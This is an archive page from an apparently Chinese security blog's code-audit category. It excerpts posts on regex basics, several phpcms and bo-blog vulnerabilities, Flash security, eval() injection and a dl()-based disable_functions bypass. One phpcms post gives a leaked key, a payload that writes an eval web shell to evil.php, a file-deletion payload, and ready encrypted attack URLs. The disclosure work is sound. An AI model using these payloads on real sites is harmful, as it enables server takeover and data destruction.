存档

‘代码审计’ 分类的存档

半小时精通正则表达式

2011年5月12日 admin     1,065 views 没有评论

来源:http://hi.baidu.com/myvbscript/blog/item/3622d3fd684aaf45d7887d52.html

跟我学正则表达式!

想必很多人都对正则表达式都头疼.今天,我以我的认识,加上网上一些文章,希望用常人都可以理解的表达方式.来和大家分享学习经验.

开篇,还是得说说 ^  和  $  他们是分别用来匹配字符串的开始和结束,以下分别举例说明

“^The”: 开头一定要有”The”字符串;
“of despair$”:  结尾一定要有”of despair” 的字符串;

那么,
“^abc$”: 就是要求以abc开头和以abc结尾的字符串,实际上是只有abc匹配
“notice”: 匹配包含notice的字符串

你可以看见如果你没有用我们提到的两个字符(最后一个例子),就是说 模式(正则表达式) 可以出现在被检验字符串的任何地方,你没有把他锁定到两边

接着,说说 ‘*’, ‘+’,和 ‘?’,
他们用来表示一个字符可以出现的次数或者顺序. 他们分别表示:
“zero or more”相当于{0,},
“one or more”相当于{1,},
“zero or one.”相当于{0,1},  这里是一些例子:

“ab*”:  和ab{0,}同义,匹配以a开头,后面可以接0个或者N个b组成的字符串(“a”, “ab”, “abbb”, 等);
“ab+”: 和ab{1,}同义,同上条一样,但最少要有一个b存在 (“ab”, “abbb”, 等.);
“ab?”:和ab{0,1}同义,可以没有或者只有一个b;
“a?b+$”: 匹配以一个或者0个a再加上一个以上的b结尾的字符串.

要点, ‘*’, ‘+’,和 ‘?’只管它前面那个字符.
阅读全文…

分类: 代码审计 标签:

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞

2011年4月5日 admin     1,401 views 5 条评论

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞
phpcms又一个鸡肋。
by c4rp3nt3r@0x50sec.org

phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。
而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。

《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》http://www.wooyun.org/bugs/wooyun-2010-01795
已经说明了两个破解”phpcms_auth函数的加密密钥AUTH_KEY”的方法,但是还不是很理想,最理想的是直接给我们足够的明文和密文。
是的开放的phpcms真的给我们这样的了,没有保留。

上一篇说到”破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。”
其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。
来看magic_image函数,主要作用就是将字符串生成一个图片,这样做应该是为了防止别人采集网站上的数据,或者是防止泄漏隐私。

// include global.fun.php

function magic_image($txt, $fonttype = 4)
{
if(empty($txt)) return false;
if(function_exists(“imagepng”))
{
$txt = urlencode(phpcms_auth($txt, ‘ENCODE’, AUTH_KEY));
$txt = ‘‘;
}
return $txt;
}
阅读全文…

phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞

2011年4月4日 admin     1,228 views 3 条评论

by c4rp3nt3r@0x50sec.org
phpcms2008 sp2 or sp4偶没仔细看
这年头发个bug伤不起啊,厂商忽略,被人当成装X,有木有,心情不爽啊不管这么多了。

phpcms本地包含拿shell的方法,这篇文章接上一个

http://www.wooyun.org/bugs/wooyun-2010-01795

《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》

phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。

公布一个本地包含秒杀拿shell的方法。

包含:admin/safe.inc.php文件GET提交一下数据

将在根目录下生成一句话
用上一篇得到的密钥$key=’sIpeofogblFVCildZEwe’;
加密如下字符串
$evil=’i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00′;

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

将在根目录下生成一句话木马

同理任意文件删除漏洞:
$evil=’i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00′;

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

阅读全文…

分类: 代码审计, 漏洞代码 标签:

phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞

2011年4月2日 admin     1,382 views 2 条评论

phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞

by c4rp3nt3r@0x50sec.org
mail: c4rp3nt3r#gmail.com
HomePage:http://www.0x50sec.org

phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数,在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密,进入程序流程,如果我们可以控制了phpcms_auth函数的解密,我们就可以通过注射我们的恶意代码,进行攻击。
而phpcms_auth采用的是可逆的位异或算法,并且对加密的结果进行了base64编码。
对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。
对于base64编码主要是处理某些加密后的不可见字符,但是这给了我们一个很好的机会:
就是说我们破解了$key之后,我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段,或者引入引号发起其他攻击。
到此已经违背了这个程序设计的初衷,破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。

// include/global.func.php
function phpcms_auth($txt, $operation = 'ENCODE', $key = '')
{
$key    = $key ? $key : $GLOBALS['phpcms_auth_key'];
$txt    = $operation == 'ENCODE' ? $txt : base64_decode($txt);
$len    = strlen($key);
$code    = '';

for($i=0; $i<strlen($txt); $i++){
$k        = $i % $len;    //循环使用密钥字符串对字符串逐位进行异或
$code  .= $txt[$i] ^ $key[$k];
}
$code = $operation == 'DECODE' ? $code : base64_encode($code);
return $code;
}

对于$key的破解
对于位运算的异或运算,是可逆的,明文和密钥异或得到密文。如果我们知道密文并且知道一部分明文那么我们也就可以得到密钥,有了密钥我们就可以破解另一部分密文,当然也就可以对我们自己的明文进行加密,然后用我们精心构造的密文发起攻击了。
阅读全文…

浏览器差异带来的不仅仅是 XSS风险

2011年3月12日 admin     1,053 views 没有评论

from:http://hi.baidu.com/hi_heige/blog/item/3e151db2696d9bb3d9335ac7.html

先看xeyeteam的文章《浏览器urlencode策略差异导致XSS风险》以及余先生的博文《浏览器差异带来的XSS风险1》,又是一个标准问题

当Ryat牛看到这篇文章后感同身受,就在我的上一个blog里提到的《boblog任意变量覆盖漏洞》里,在测试的时候就出现过这个问题:

『start』
// go.php

$q_url=$_SERVER["REQUEST_URI"];
@list($relativePath, $rawURL)=@explode(‘/go.php/’, $q_url);
$rewritedURL=$rawURL;

$RewriteRules[]=”/page\/([0-9]+)\/([0-9]+)\/?/”;
// 这个正则看上去很严谨,但是没有使用^和$来限制开头与结尾[可能是为了适应程序自身的需要]:)

$RedirectTo[]=”index.php?mode=\\1&page=\\2″;

foreach ($RewriteRules as $rule) {
if (preg_match($rule, $rewritedURL)) {
$tmp_rewritedURL=preg_replace($rule, ‘<’.$RedirectTo[$i].’<’, $rewritedURL, 1);
// 对$rewritedURL进行匹配和替换,并使用<来标记匹配的部分
// 经过这样的处理后$tmp_rewritedURL主要分为三部分:
// i.第一个<前面的部分
// ii.两个<之间的部分
// iii.第二个<后面的部分
$tmp_rewritedURL=@explode(‘<’, $tmp_rewritedURL);
$rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];
// 这段代码的主要目的是解决之前的正则限制不够严格的问题
// 程序员希望通过这段代码去掉i和iii,使$rewritedURL仅保留ii
// 注意这里还对iii做了限制,按照程序员的想法,iii这部分应该是不存在的:)
// 这部分代码逻辑的关键就在于<这个字符,但遗憾的是我们是可以随意注入<的:p
break;
}
$i+=1;
『end』
阅读全文…

boblog任意变量覆盖漏洞(二)

2011年3月10日 admin     1,243 views 没有评论

boblog任意变量覆盖漏洞(二)

by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
date: 2011-03-09

先前80vul.com上公布了一个bo-blog的漏洞[1],这个漏洞已经被官方修补,但随后wooyun.com上公布了一个绕过补丁的方法[2],可惜触发时有一定的限制,下面我再来公布一个没有任何限制的绕过补丁继续触发漏洞的方法:)

这个简单来说是正则表达式和代码逻辑不够严谨造成的,来看代码:

// go.php

$q_url=$_SERVER["REQUEST_URI"];
@list($relativePath, $rawURL)=@explode(‘/go.php/’, $q_url);
$rewritedURL=$rawURL;

$RewriteRules[]=”/page\/([0-9]+)\/([0-9]+)\/?/”;
// 这个正则看上去很严谨,但是没有使用^和$来限制开头与结尾[可能是为了适应程序自身的需要]:)

$RedirectTo[]=”index.php?mode=\\1&page=\\2″;

阅读全文…

Flash应用安全规范

2010年5月6日 admin     1,197 views 没有评论

Flash应用安全规范
来源:http://www.80sec.com/flash-security-polic.html
Author: jianxin [80sec]
EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2009-07-25
From: http://www.80sec.com/release/flash-security.txt

[ 目录 ]

0×00 前言
0×01 安全的服务端flash安全策略
0×02 安全的客户端flash安全规范
0×03 flash安全的checklist

0×00 前言

flash作为一款浏览器的第三方插件,是对浏览器功能的延伸,已经是web必不可少的元素。但是这种延伸必然带来不安全的因素,相比于安全性已经得到磨练的浏览器来说,flash绝对是客户端安全的一个软肋(包括在比较神秘的漏洞挖掘领域,也是这个观点),同样flash在页面展示时所含有的丰富功能,在某些情况下你甚至可以认为它等同于javascript,甚至更为危险。浏览器所贯彻的域安全策略被flash所打破,客户端所做的种种过滤也同样被 flash所打破(只要你还使用flash)。但是flash也已经感觉到了这个问题,并且时时在改进,在设计上也引入了一些比较好的安全机制,恰当的使用这些安全机制可以避免你的应用程序遭到攻击。80sec将从实际的一些经验总结出一些供参考的flash使用规范,规范将从服务端应用程序的安全设计和客户端的flash安全使用两个角度来说明这个问题。
阅读全文…

分类: 代码审计 标签: ,

Eval() Vulnerability & Exploitation

2010年5月4日 admin     1,368 views 没有评论

http://www.exploit-db.com/papers/12490

##############################################################################
# [+]Title: [Eval() Vulnerability & Exploitation]
##############################################################################
# [+] About :
##############################################################################
# Written by : GlaDiaT0R
# Contact: the_gl4di4t0r[AT]hotmail[DOT]com or berrahal.ryadh[AT]gmail[DOT]com
# Team : Tunisian Power Team ( DarkGh0st.Net )
##############################################################################
# [+] Summary:
# [1]-Introduction
# [2]-Detection
# [3]-Vulnerable Source code
# [4]-Exploiting..
##############################################################################

[1]-Introduction

eval () is a PHP function that allows to interpret a given string as PHP code, because eval () is often used in Web applications,
although interpretation of the chain is widely liked manipulated, eval () serves most of the time to execute php code containing previously defined variable.
the problem is that if eval () executes a variable that you can modify the code contained by php eval () will execute as such.
Reminder: eval () allows execution of a given string as PHP code but not write (or if so desired) its content in this page or others, he is content to perform, and display the result.
We will even two different PHP source code using Eval (), the possibilities of PHP code injection and how how to use eval () can change the syntax of PHP code to execute.
阅读全文…

分类: 代码审计 标签: ,

利用dl函数突破disable_functions执行命令(剑心)

2010年4月13日 admin     1,797 views 没有评论

利用dl函数突破disable_functions执行命令(剑心)
版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
From:http://qiuren.blogbus.com

PHP是一款功能强大应用广泛的脚本语言,很大一部分网站都是使用PHP架构的。因为其提供了强大的文件操作功能和与系统交互的功能,所以大部分的服务器都对PHP做了严格的限制,包括使用open_basedir限制可以操作的目录以及使用disable_functions限制程序使用一些可以直接执行系统命令的函数如system,exec,passthru,shell_exec,proc_open等等。但是如果服务器没有对dl()函数做限制,一样可以利用dl()函数饶过这些限制。
dl()函数允许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,该选项是PHP_INI_SYSTEM范围可修改的,只能在php.ini或者apache主配置文件里修改。当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为On的,事实上也很少人注意到这个。dl()函数在设计时存在安全漏洞,可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件,extension_dir限制可以被随意饶过。所以我们可以上传自己的so文件,并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作,包括系统命令。

阅读全文…

Windows7如何才能和Ubuntu实现共存

2010年4月9日 xion     1,630 views 没有评论

来源:51cto.com

目前有很多方法进行双系统的安装,有些十分的繁琐。下面我们就看看有关在Windows 7下grub安装Fedora12(或Ubuntu 9.10)的一个聪明的办法,依然grub, 不需要boot.ini grldr.mbr

关于Windows 7与Fedora12(或Ubuntu )双系统,网上有很多贴子,仔细搜索,都是抄来抄去的。刻盘、U盘,不在本人叙述范围,WUBI安装不在简单,有点难度,本人也不考虑,我们依旧用grub来安装。

怎么用grub来引导Fedora12(或Ubuntu )呢?

方法A,一个高手会告诉你,用什么什么命令,一提到命令,我们这些菜鸟真的头大,还是刻盘来的简单(本人可不喜欢刻盘啊!)。 阅读全文…

分类: 代码审计 标签: ,